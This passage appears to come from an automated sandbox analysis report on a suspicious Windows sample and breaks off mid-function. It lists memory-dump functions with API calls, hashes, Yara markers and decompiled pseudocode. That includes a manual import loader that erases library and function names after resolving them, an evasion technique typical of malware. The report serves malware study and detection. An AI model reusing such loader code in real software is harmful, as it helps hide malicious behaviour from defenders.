Opcode ID: 59752966539611fd6ff410446851b2ed1bff3434e70f72cde6535d49fbcbb11c
Instruction ID: 920df883a4d0e7f07d39800b152b47472df7eaef24bcc3e1a182c405edc8ca45
Opcode Fuzzy Hash: 59752966539611fd6ff410446851b2ed1bff3434e70f72cde6535d49fbcbb11c
Instruction Fuzzy Hash: F0614235B103499BDB03FBA8DC5169EB7B9AB88300F51A4F6F100AF756DB34D90A8761

Uniqueness

Uniqueness Score: -1.00%

Function 0236027C, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 144timestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0235CF29: InterlockedIncrement.KERNEL32(?), ref: 0235CF7A
Part of subcall function 0235CF29: RtlLeaveCriticalSection.NTDLL(04908FF0), ref: 0235D005

OpenProcess.KERNEL32(00000410,C2C95B5F,0234B297,00000000,00000000,0234B297,00000000,00000000,?,?,?,0234B297), ref: 023602D3
CloseHandle.KERNEL32(00000000), ref: 023602F1
GetSystemTimeAsFileTime.KERNEL32(0234B297), ref: 02360357
lstrlenW.KERNEL32(89FF33C0), ref: 023603CC
GetSystemTimeAsFileTime.KERNEL32(00000008,0000001A), ref: 023603E8
memcpy.NTDLL(00000014,89FF33C0,00000002), ref: 02360400

Part of subcall function 0235D0F7: RtlLeaveCriticalSection.NTDLL(00000000), ref: 0235D174

Strings

o, xrefs: 023603BD

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Time$CriticalFileLeaveSectionSystem$CloseHandleIncrementInterlockedOpenProcesslstrlenmemcpy
String ID: o
API String ID: 2541713525-252678980
Opcode ID: 3ab150bc22fd2376fb062aa951311b106ae7faaecf900394c53409a219d6bf07
Instruction ID: 4d4683b071c32d9db75c538ba545d3da6b089b2935b968f6414044f8050e5019
Opcode Fuzzy Hash: 3ab150bc22fd2376fb062aa951311b106ae7faaecf900394c53409a219d6bf07
Instruction Fuzzy Hash: 9851CFB1A40706ABDB29CF60C88DBB6B7BCFF04709F148929E94597644E770E994CF90

Uniqueness

Uniqueness Score: -1.00%

Function 003C6044, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 139
threadCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E003C6044(intOrPtr __eax, void* __ecx, char _a4) {
				char _v5;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				struct HWND__* _v24;
				intOrPtr _v28;
				void* _v32;
				struct tagRECT _v48;
				struct tagRECT _v64;
				struct HWND__* _t53;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t79;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t94;
				intOrPtr _t99;
				intOrPtr _t102;
				void* _t103;
				intOrPtr* _t105;
				intOrPtr _t107;
				intOrPtr _t111;
				intOrPtr _t113;
				struct HWND__* _t114;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t118;

				_t103 = __ecx;
				_t102 = __eax;
				_v5 = 1;
				_t2 =  &_a4; // 0x3c6365
				_t114 = E003C6494( *_t2 + 0xfffffff7);
				_v24 = _t114;
				_t53 = GetWindow(_t114, 4);
				_t105 =  *0x3da0b4; // 0x3dbb1c
				_t4 =  *_t105 + 0x30; // 0x0
				if(_t53 ==  *_t4) {
					L6:
					if(_v24 == 0) {
						L25:
						return _v5;
					}
					_t115 = _t102;
					while(1) {
						_t55 =  *((intOrPtr*)(_t115 + 0x30));
						if(_t55 == 0) {
							break;
						}
						_t115 = _t55;
					}
					_t113 = E003CEEB8(_t115);
					_v28 = _t113;
					if(_t113 == _v24) {
						goto L25;
					}
					_t12 =  &_a4; // 0x3c6365
					_t60 =  *((intOrPtr*)( *((intOrPtr*)( *_t12 - 0x10)) + 0x30));
					if(_t60 == 0) {
						_t18 =  &_a4; // 0x3c6365
						_t107 =  *0x3c4ab8; // 0x3c4b04
						__eflags = E00383288( *((intOrPtr*)( *_t18 - 0x10)), _t107);
						if(__eflags == 0) {
							__eflags = 0;
							_v32 = 0;
						} else {
							_t20 =  &_a4; // 0x3c6365
							_v32 = E003CEEB8( *((intOrPtr*)( *_t20 - 0x10)));
						}
						L19:
						_v12 = 0;
						_t65 = _a4;
						_v20 =  *((intOrPtr*)(_t65 - 9));
						_v16 =  *((intOrPtr*)(_t65 - 5));
						EnumThreadWindows(GetCurrentThreadId(), E003C5FD8,  &_v32);
						_t127 = _v12;
						if(_v12 == 0) {
							goto L25;
						}
						GetWindowRect(_v24,  &_v48);
						_push(_a4 + 0xfffffff7);
						_push(_a4 - 1);
						E003832F8(_t102, _t127);
						_t79 =  *0x3dbb78; // 0x0
						_t111 =  *0x3c36c0; // 0x3c370c
						if(E00383288(_t79, _t111) == 0) {
							L23:
							if(IntersectRect( &_v48,  &_v48,  &_v64) != 0) {
								_v5 = 0;
							}
							goto L25;
						}
						_t85 =  *0x3dbb78; // 0x0
						if( *((intOrPtr*)( *((intOrPtr*)(_t85 + 0x38)) + 0xa0)) == 0) {
							goto L23;
						}
						_t87 =  *0x3dbb78; // 0x0
						if(E003CEEB8( *((intOrPtr*)( *((intOrPtr*)(_t87 + 0x38)) + 0xa0))) == _v24) {
							goto L25;
						}
						goto L23;
					}
					_t117 = _t60;
					while(1) {
						_t94 =  *((intOrPtr*)(_t117 + 0x30));
						if(_t94 == 0) {
							break;
						}
						_t117 = _t94;
					}
					_v32 = E003CEEB8(_t117);
					goto L19;
				}
				_t118 = E003C55B0(_v24, _t103);
				if(_t118 == 0) {
					goto L25;
				} else {
					while(1) {
						_t99 =  *((intOrPtr*)(_t118 + 0x30));
						if(_t99 == 0) {
							break;
						}
						_t118 = _t99;
					}
					_v24 = E003CEEB8(_t118);
					goto L6;
				}
			}

0x003c6044
0x003c604d
0x003c604f
0x003c6053
0x003c605e
0x003c6060
0x003c6066
0x003c606b
0x003c6073
0x003c6076
0x003c609f
0x003c60a3
0x003c61d2
0x003c61db
0x003c61db
0x003c60a9
0x003c60af
0x003c60af
0x003c60b4
0x00000000
0x00000000
0x003c60ad
0x003c60ad
0x003c60bd
0x003c60bf
0x003c60c5
0x00000000
0x00000000
0x003c60cb
0x003c60d1
0x003c60d6
0x003c60f4
0x003c60fa
0x003c6105
0x003c6107
0x003c6119
0x003c611b
0x003c6109
0x003c6109
0x003c6114
0x003c6114
0x003c611e
0x003c611e
0x003c6122
0x003c6128
0x003c612e
0x003c6140
0x003c6145
0x003c6149
0x00000000
0x00000000
0x003c6157
0x003c6162
0x003c6167
0x003c6177
0x003c617c
0x003c6181
0x003c618e
0x003c61b9
0x003c61cc
0x003c61ce
0x003c61ce
0x00000000
0x003c61cc
0x003c6190
0x003c619f
0x00000000
0x00000000
0x003c61a1
0x003c61b7
0x00000000
0x00000000
0x00000000
0x003c61b7
0x003c60db
0x003c60e1
0x003c60e1
0x003c60e6
0x00000000
0x00000000
0x003c60df
0x003c60df
0x003c60ef
0x00000000
0x003c60ef
0x003c6080
0x003c6084
0x00000000
0x003c608a
0x003c608e
0x003c608e
0x003c6093
0x00000000
0x00000000
0x003c608c
0x003c608c
0x003c609c
0x00000000
0x003c609c

APIs

Part of subcall function 003C6494: WindowFromPoint.USER32 ref: 003C649A
Part of subcall function 003C6494: GetParent.USER32(00000000), ref: 003C64B1

GetWindow.USER32(00000000,00000004), ref: 003C6066
GetCurrentThreadId.KERNEL32(003C5FD8,?,00000000,00000004,?,-0000000C,?), ref: 003C613A
EnumThreadWindows.USER32 ref: 003C6140
GetWindowRect.USER32 ref: 003C6157
IntersectRect.USER32(?,?,?), ref: 003C61C5

Part of subcall function 003C55B0: GetWindowThreadProcessId.USER32(00000000), ref: 003C55BD
Part of subcall function 003C55B0: GetCurrentProcessId.KERNEL32(?,00000000,00000000,003C6F63,?,?,00000000,00000001,003C6F90), ref: 003C55C6
Part of subcall function 003C55B0: GlobalFindAtomA.KERNEL32(00000000), ref: 003C55DB
Part of subcall function 003C55B0: GetPropA.USER32(00000000,00000000), ref: 003C55F2

Strings

ec<, xrefs: 003C6053, 003C60CB, 003C60F4, 003C6109, 003C60D8
ec<, xrefs: 003C615C, 003C6163, 003C6122, 003C616B

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Thread$CurrentProcessRect$AtomEnumFindFromGlobalIntersectParentPointPropWindows
String ID: ec<$ec<
API String ID: 2202917067-2929778958
Opcode ID: 63b43929f774e23dc9fdc22172521f1670e14b2a20262ed21bd100b0bad7dbdf
Instruction ID: 7cfeacf739cc8b98632c0a3f0b8e9bc5b35123d93686bb9b363eb54112cfa8dd
Opcode Fuzzy Hash: 63b43929f774e23dc9fdc22172521f1670e14b2a20262ed21bd100b0bad7dbdf
Instruction Fuzzy Hash: 12515D35A052189FCB12DF68C886FAEB7F8AF08350F154599E814EB352D731EE41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0038EBF8, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0038EBF8(short* __eax, intOrPtr __ecx, intOrPtr* __edx) {
				char _v260;
				char _v768;
				char _v772;
				short* _v776;
				intOrPtr _v780;
				char _v784;
				signed int _v788;
				signed short* _v792;
				char _v796;
				char _v800;
				intOrPtr* _v804;
				void* __ebp;
				signed char _t47;
				signed int _t54;
				void* _t62;
				intOrPtr* _t73;
				intOrPtr* _t91;
				void* _t93;
				void* _t95;
				void* _t98;
				void* _t99;
				intOrPtr* _t108;
				void* _t112;
				intOrPtr _t113;
				char* _t114;
				void* _t115;

				_t100 = __ecx;
				_v780 = __ecx;
				_t91 = __edx;
				_v776 = __eax;
				if(( *(__edx + 1) & 0x00000020) == 0) {
					E0038E7A0(0x80070057);
				}
				_t47 =  *_t91;
				if((_t47 & 0x00000fff) != 0xc) {
					_push(_t91);
					_push(_v776);
					L0038D554();
					return E0038E7A0(_v776);
				} else {
					if((_t47 & 0x00000040) == 0) {
						_v792 =  *((intOrPtr*)(_t91 + 8));
					} else {
						_v792 =  *((intOrPtr*)( *((intOrPtr*)(_t91 + 8))));
					}
					_v788 =  *_v792 & 0x0000ffff;
					_t93 = _v788 - 1;
					if(_t93 < 0) {
						L9:
						_push( &_v772);
						_t54 = _v788;
						_push(_t54);
						_push(0xc);
						L0038D9A8();
						_t113 = _t54;
						if(_t113 == 0) {
							E0038E4F8(_t100);
						}
						E0038EB50(_v776);
						 *_v776 = 0x200c;
						 *((intOrPtr*)(_v776 + 8)) = _t113;
						_t95 = _v788 - 1;
						if(_t95 < 0) {
							L14:
							_t97 = _v788 - 1;
							if(E0038EB6C(_v788 - 1, _t115) != 0) {
								L0038D9C0();
								E0038E7A0(_v792);
								L0038D9C0();
								E0038E7A0( &_v260);
								_v780(_t113,  &_v260,  &_v800, _v792,  &_v260,  &_v796);
							}
							_t62 = E0038EB9C(_t97, _t115);
						} else {
							_t98 = _t95 + 1;
							_t73 =  &_v768;
							_t108 =  &_v260;
							do {
								 *_t108 =  *_t73;
								_t108 = _t108 + 4;
								_t73 = _t73 + 8;
								_t98 = _t98 - 1;
							} while (_t98 != 0);
							do {
								goto L14;
							} while (_t62 != 0);
							return _t62;
						}
					} else {
						_t99 = _t93 + 1;
						_t112 = 0;
						_t114 =  &_v772;
						do {
							_v804 = _t114;
							_push(_v804 + 4);
							_t18 = _t112 + 1; // 0x1
							_push(_v792);
							L0038D9B0();
							E0038E7A0(_v792);
							_push( &_v784);
							_t21 = _t112 + 1; // 0x1
							_push(_v792);
							L0038D9B8();
							E0038E7A0(_v792);
							 *_v804 = _v784 -  *((intOrPtr*)(_v804 + 4)) + 1;
							_t112 = _t112 + 1;
							_t114 = _t114 + 8;
							_t99 = _t99 - 1;
						} while (_t99 != 0);
						goto L9;
					}
				}
			}

0x0038ebf8
0x0038ec04
0x0038ec0a
0x0038ec0c
0x0038ec16
0x0038ec1d
0x0038ec1d
0x0038ec22
0x0038ec30
0x0038eda9
0x0038edb0
0x0038edb1
0x00000000
0x0038ec36
0x0038ec39
0x0038ec4b
0x0038ec3b
0x0038ec40
0x0038ec40
0x0038ec5a
0x0038ec66
0x0038ec69
0x0038ecd6
0x0038ecdc
0x0038ecdd
0x0038ece3
0x0038ece4
0x0038ece6
0x0038eceb
0x0038ecef
0x0038ecf1
0x0038ecf1
0x0038ecfc
0x0038ed07
0x0038ed12
0x0038ed1b
0x0038ed1e
0x0038ed3a
0x0038ed41
0x0038ed4c
0x0038ed63
0x0038ed68
0x0038ed7c
0x0038ed81
0x0038ed94
0x0038ed94
0x0038ed9d
0x0038ed20
0x0038ed20
0x0038ed21
0x0038ed27
0x0038ed2d
0x0038ed2f
0x0038ed31
0x0038ed34
0x0038ed37
0x0038ed37
0x0038ed3a
0x00000000
0x00000000
0x00000000
0x0038ed3a
0x0038ec6b
0x0038ec6b
0x0038ec6c
0x0038ec6e
0x0038ec74
0x0038ec76
0x0038ec85
0x0038ec86
0x0038ec90
0x0038ec91
0x0038ec96
0x0038eca1
0x0038eca2
0x0038ecac
0x0038ecad
0x0038ecb2
0x0038eccd
0x0038eccf
0x0038ecd0
0x0038ecd3
0x0038ecd3
0x00000000
0x0038ec74
0x0038ec69

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0038EC91
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0038ECAD
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0038ECE6
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0038ED63
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0038ED7C
VariantCopy.OLEAUT32(?), ref: 0038EDB1

Strings

, xrefs: 0038EC12

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-3916222277
Opcode ID: 1776f6705603e5dd5b83fa5c3157d0e7522ba28b09e84c66c77e9e7b777ebabb
Instruction ID: eade6d26dd7495c0ab82d7af5fb9bc195a48f09c5d94d9849faf6231329ef07b
Opcode Fuzzy Hash: 1776f6705603e5dd5b83fa5c3157d0e7522ba28b09e84c66c77e9e7b777ebabb
Instruction Fuzzy Hash: 5D51E7B5A007299BCB23EB58CC81BD9B3BCAF49300F4145D5F509EB212DA30AF848F61

Uniqueness

Uniqueness Score: -1.00%

Function 003BA12C, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 132windowCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 003BA13F
GetWindowRect.USER32 ref: 003BA199
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D), ref: 003BA1D1
MessageBoxA.USER32 ref: 003BA212
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D), ref: 003BA262
SetActiveWindow.USER32(?), ref: 003BA273

Strings

(, xrefs: 003BA176

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Active$MessageRect
String ID: (
API String ID: 3147912190-3887548279
Opcode ID: 73072ea5d72ac14a4a6a92d5ada6a00c75739c4aaed50818ff5e13cce62683cb
Instruction ID: 7521a199890a326141c548c722dedafb1d355bdafd2289b44dc2bee4f01fde93
Opcode Fuzzy Hash: 73072ea5d72ac14a4a6a92d5ada6a00c75739c4aaed50818ff5e13cce62683cb
Instruction Fuzzy Hash: B3414A75E00608AFDB45EBA8CD82FAEB7F9EB88304F544469F600EB795D674AD008B51

Uniqueness

Uniqueness Score: -1.00%

Function 003B7F00, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 125
registryCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E003B7F00(intOrPtr __eax, void* __ebx, void* __fp0) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				char _v20;
				void* _v24;
				struct HKL__* _v280;
				char _v536;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				void* _t60;
				intOrPtr _t106;
				intOrPtr _t111;
				void* _t117;
				void* _t118;
				intOrPtr _t119;
				void* _t129;

				_t129 = __fp0;
				_t117 = _t118;
				_t119 = _t118 + 0xfffffda0;
				_v612 = 0;
				_v8 = __eax;
				_push(_t117);
				_push(0x3b80ab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t119;
				if( *((intOrPtr*)(_v8 + 0x34)) != 0) {
					L11:
					_pop(_t106);
					 *[fs:eax] = _t106;
					_push(0x3b80b2);
					return E00383EBC( &_v612);
				} else {
					 *((intOrPtr*)(_v8 + 0x34)) = E003830CC(1);
					E00383EBC(_v8 + 0x38);
					_t60 = GetKeyboardLayoutList(0x40,  &_v280) - 1;
					if(_t60 < 0) {
						L10:
						 *((char*)( *((intOrPtr*)(_v8 + 0x34)) + 0x1d)) = 0;
						E00398AC4( *((intOrPtr*)(_v8 + 0x34)), 1);
						goto L11;
					} else {
						_v20 = _t60 + 1;
						_v24 =  &_v280;
						do {
							if(E003D3B90( *_v24) == 0) {
								goto L9;
							} else {
								_v608 =  *_v24;
								_v604 = 0;
								if(RegOpenKeyExA(0x80000002, E00388C84( &_v600,  &_v608, "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x", _t129, 0), 0, 0x20019,  &_v16) != 0) {
									goto L9;
								} else {
									_push(_t117);
									_push(0x3b8067);
									_push( *[fs:eax]);
									 *[fs:eax] = _t119;
									_v12 = 0x100;
									if(RegQueryValueExA(_v16, "layout text", 0, 0,  &_v536,  &_v12) == 0) {
										E0038412C( &_v612, 0x100,  &_v536);
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x34)))) + 0x3c))();
										if( *_v24 ==  *((intOrPtr*)(_v8 + 0x3c))) {
											E0038412C(_v8 + 0x38, 0x100,  &_v536);
										}
									}
									_pop(_t111);
									 *[fs:eax] = _t111;
									_push(0x3b806e);
									return RegCloseKey(_v16);
								}
							}
							goto L12;
							L9:
							_v24 = _v24 + 4;
							_t38 =  &_v20;
							 *_t38 = _v20 - 1;
						} while ( *_t38 != 0);
						goto L10;
					}
				}
				L12:
			}

0x003b7f00
0x003b7f01
0x003b7f03
0x003b7f0c
0x003b7f12
0x003b7f17
0x003b7f18
0x003b7f1d
0x003b7f20
0x003b7f2a
0x003b808c
0x003b8094
0x003b8097
0x003b809a
0x003b80aa
0x003b7f30
0x003b7f3f
0x003b7f48
0x003b7f5b
0x003b7f5e
0x003b807b
0x003b8081
0x003b8087
0x00000000
0x003b7f64
0x003b7f65
0x003b7f6e
0x003b7f71
0x003b7f7d
0x00000000
0x003b7f83
0x003b7f95
0x003b7f9b
0x003b7fc5
0x00000000
0x003b7fcb
0x003b7fcd
0x003b7fce
0x003b7fd3
0x003b7fd6
0x003b7fd9
0x003b7fff
0x003b8012
0x003b802a
0x003b8038
0x003b804b
0x003b804b
0x003b8038
0x003b8052
0x003b8055
0x003b8058
0x003b8066
0x003b8066
0x003b7fc5
0x00000000
0x003b806e
0x003b806e
0x003b8072
0x003b8072
0x003b8072
0x00000000
0x003b7f71
0x003b7f5e
0x00000000

APIs

GetKeyboardLayoutList.USER32 ref: 003B7F56
RegOpenKeyExA.ADVAPI32(80000002,00000000), ref: 003B7FBE
RegQueryValueExA.ADVAPI32(?,layout text,00000000,00000000,?,00000100,00000000,003B8067,?,80000002,00000000), ref: 003B7FF8
RegCloseKey.ADVAPI32(?,003B806E,00000000,?,00000100,00000000,003B8067,?,80000002,00000000), ref: 003B8061

Strings

System\CurrentControlSet\Control\Keyboard Layouts\%.8x, xrefs: 003B7FA8
layout text, xrefs: 003B7FEF
4P9, xrefs: 003B7F32

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseKeyboardLayoutListOpenQueryValue
String ID: 4P9$System\CurrentControlSet\Control\Keyboard Layouts\%.8x$layout text
API String ID: 1703357764-2604910545
Opcode ID: 17badf723a6850bd8445a1061537eabf41c6cd1e0bac9fd1f5f5f42e60cefaa8
Instruction ID: 98ee9a84e277d5877cb90ea2b6489406117c0b7fca4e762fd7b4fcd3f02c272d
Opcode Fuzzy Hash: 17badf723a6850bd8445a1061537eabf41c6cd1e0bac9fd1f5f5f42e60cefaa8
Instruction Fuzzy Hash: 72413974A00209AFDB12EF94C985BEEB7F8EB48704F5144E1EA04EB751DB71AE44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 004313C6, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104
librarystringloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004313C6(intOrPtr* _a4, intOrPtr _a8) {
				signed int _v8;
				signed short _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _v20;
				_Unknown_base(*)()* _v24;
				intOrPtr _t34;
				intOrPtr _t36;
				struct HINSTANCE__* _t37;
				intOrPtr _t40;
				CHAR* _t44;
				_Unknown_base(*)()* _t45;
				intOrPtr* _t52;
				intOrPtr _t53;
				signed short _t54;
				intOrPtr* _t57;
				signed short _t59;
				CHAR* _t60;
				CHAR* _t62;
				signed short* _t64;
				void* _t65;
				signed short _t72;

				_t34 =  *((intOrPtr*)(_a8 + 0x80));
				_v8 = _v8 & 0x00000000;
				_t52 = _a4;
				if(_t34 == 0) {
					L28:
					return _v8;
				}
				_t57 = _t34 + _t52;
				_t36 =  *((intOrPtr*)(_t57 + 0xc));
				_a4 = _t57;
				if(_t36 == 0) {
					L27:
					goto L28;
				}
				while(1) {
					_t62 = _t36 + _t52;
					_t37 = LoadLibraryA(_t62);
					_v16 = _t37;
					if(_t37 == 0) {
						break;
					}
					_v12 = _v12 & 0x00000000;
					memset(_t62, 0, lstrlenA(_t62));
					_t53 =  *_t57;
					_t40 =  *((intOrPtr*)(_t57 + 0x10));
					_t65 = _t65 + 0xc;
					if(_t53 != 0) {
						L6:
						_t64 = _t53 + _t52;
						_t54 =  *_t64;
						if(_t54 == 0) {
							L23:
							_t36 =  *((intOrPtr*)(_t57 + 0x20));
							_t57 = _t57 + 0x14;
							_a4 = _t57;
							if(_t36 != 0) {
								continue;
							}
							L26:
							goto L27;
						}
						_v20 = _t40 - _t64 + _t52;
						_t72 = _t54;
						L8:
						L8:
						if(_t72 < 0) {
							if(_t54 < _t52 || _t54 >=  *((intOrPtr*)(_a8 + 0x50)) + _t52) {
								_t59 = 0;
								_v12 =  *_t64 & 0x0000ffff;
							} else {
								_t59 = _t54;
							}
						} else {
							_t59 = _t54 + _t52;
						}
						_t20 = _t59 + 2; // 0x2
						_t44 = _t20;
						if(_t59 == 0) {
							_t44 = _v12 & 0x0000ffff;
						}
						_t45 = GetProcAddress(_v16, _t44);
						_v24 = _t45;
						if(_t45 == 0) {
							goto L21;
						}
						if(_t59 != 0) {
							_t60 = _t59 + 2;
							memset(_t60, 0, lstrlenA(_t60));
							_t65 = _t65 + 0xc;
						}
						 *(_v20 + _t64) = _v24;
						_t64 =  &(_t64[2]);
						_t54 =  *_t64;
						if(_t54 != 0) {
							goto L8;
						} else {
							L22:
							_t57 = _a4;
							goto L23;
						}
						L21:
						_v8 = 0x7f;
						goto L22;
					}
					_t53 = _t40;
					if(_t40 == 0) {
						goto L23;
					}
					goto L6;
				}
				_v8 = 0x7e;
				goto L26;
			}

0x004313cf
0x004313d5
0x004313dc
0x004313df
0x004314e0
0x004314e5
0x004314e5
0x004313e6
0x004313e9
0x004313ee
0x004313f1
0x004314df
0x00000000
0x004314df
0x004313f8
0x004313f8
0x004313fc
0x00431404
0x00431407
0x00000000
0x00000000
0x0043140d
0x0043141c
0x00431421
0x00431423
0x00431426
0x0043142b
0x00431437
0x00431437
0x0043143a
0x0043143e
0x004314c4
0x004314c4
0x004314c7
0x004314cc
0x004314cf
0x00000000
0x00000000
0x004314de
0x00000000
0x004314de
0x00431448
0x0043144b
0x00000000
0x0043144d
0x0043144d
0x00431456
0x0043146b
0x0043146d
0x00431464
0x00431464
0x00431464
0x0043144f
0x0043144f
0x0043144f
0x00431472
0x00431472
0x00431475
0x00431477
0x00431477
0x0043147f
0x00431487
0x0043148a
0x00000000
0x00000000
0x0043148e
0x00431490
0x0043149e
0x004314a3
0x004314a3
0x004314ac
0x004314af
0x004314b2
0x004314b6
0x00000000
0x004314b8
0x004314c1
0x004314c1
0x00000000
0x004314c1
0x004314ba
0x004314ba
0x00000000
0x004314ba
0x0043142f
0x00431431
0x00000000
0x00000000
0x00000000
0x00431431
0x004314d7
0x00000000

APIs

LoadLibraryA.KERNEL32 ref: 004313FC
lstrlenA.KERNEL32 ref: 00431412
memset.NTDLL ref: 0043141C
GetProcAddress.KERNEL32(?,00000002), ref: 0043147F
lstrlenA.KERNEL32(-00000002), ref: 00431494
memset.NTDLL ref: 0043149E

Strings

~, xrefs: 004314D7

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: lstrlenmemset$AddressLibraryLoadProc
String ID: ~
API String ID: 1986585659-1707062198
Opcode ID: 748c40c8cc69564ecfeb72411b0367eea7e7c491382a2f33e9395d252dd73b2e
Instruction ID: 05fc0c8d9c2b187aed14b8455dc7e6a606d42f6b0cc16b6a2835ccde099c8f7b
Opcode Fuzzy Hash: 748c40c8cc69564ecfeb72411b0367eea7e7c491382a2f33e9395d252dd73b2e
Instruction Fuzzy Hash: E0319271A00205AFDB14CF59D980BBEB7B4BF58305F25506EE845EB361D738EA05CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0234ABC8, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000104,02361D2D,00000000,?,?,023531D0,?,00000005,?,00000000), ref: 0234ABE4
lstrlen.KERNEL32(00000000,00000104,02361D2D,00000000,?,?,023531D0,?,00000005), ref: 0234ABFA
lstrlen.KERNEL32(?,00000104,02361D2D,00000000,?,?,023531D0,?,00000005), ref: 0234AC0F
RtlAllocateHeap.NTDLL(00000000,00000030,00000104), ref: 0234AC6A
_snprintf.NTDLL ref: 0234AC89
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0234ACA8

Strings

DEVICE: %sCLASS: %sINTERFACE: %sADD: %u, xrefs: 0234AC82

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateFree_snprintf
String ID: DEVICE: %sCLASS: %sINTERFACE: %sADD: %u
API String ID: 3180502281-567302550
Opcode ID: 7135b2f47c3f1b5c583b84f24cc8f6c9f542700e96282202bc3aa8896c3d42c3
Instruction ID: 8e1c6d7953156521742d6f9c4a538f4f81b1d28c2c811745111ac6a891e21613
Opcode Fuzzy Hash: 7135b2f47c3f1b5c583b84f24cc8f6c9f542700e96282202bc3aa8896c3d42c3
Instruction Fuzzy Hash: B5218F72A40218FFCF119F65DD889AA7BBEFB44758B01C4A5F815A7111CB31AE60DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 003A54C0, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E003A54C0(struct HMONITOR__* _a4, struct tagMONITORINFO* _a8) {
				void _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				int _t24;
				struct HMONITOR__* _t27;
				struct tagMONITORINFO* _t29;
				intOrPtr* _t31;

				_t29 = _a8;
				_t27 = _a4;
				if( *0x3db920 != 0) {
					_t24 = 0;
					if(_t27 == 0x12340042 && _t29 != 0 && _t29->cbSize >= 0x28 && SystemParametersInfoA(0x30, 0,  &_v20, 0) != 0) {
						_t29->rcMonitor.left = 0;
						_t29->rcMonitor.top = 0;
						_t29->rcMonitor.right = GetSystemMetrics(0);
						_t29->rcMonitor.bottom = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t31 = _t29;
						 *(_t31 + 0x24) = 1;
						if( *_t31 >= 0x4c) {
							_push("DISPLAY");
							_push(_t31 + 0x28);
							L00386354();
						}
						_t24 = 1;
					}
				} else {
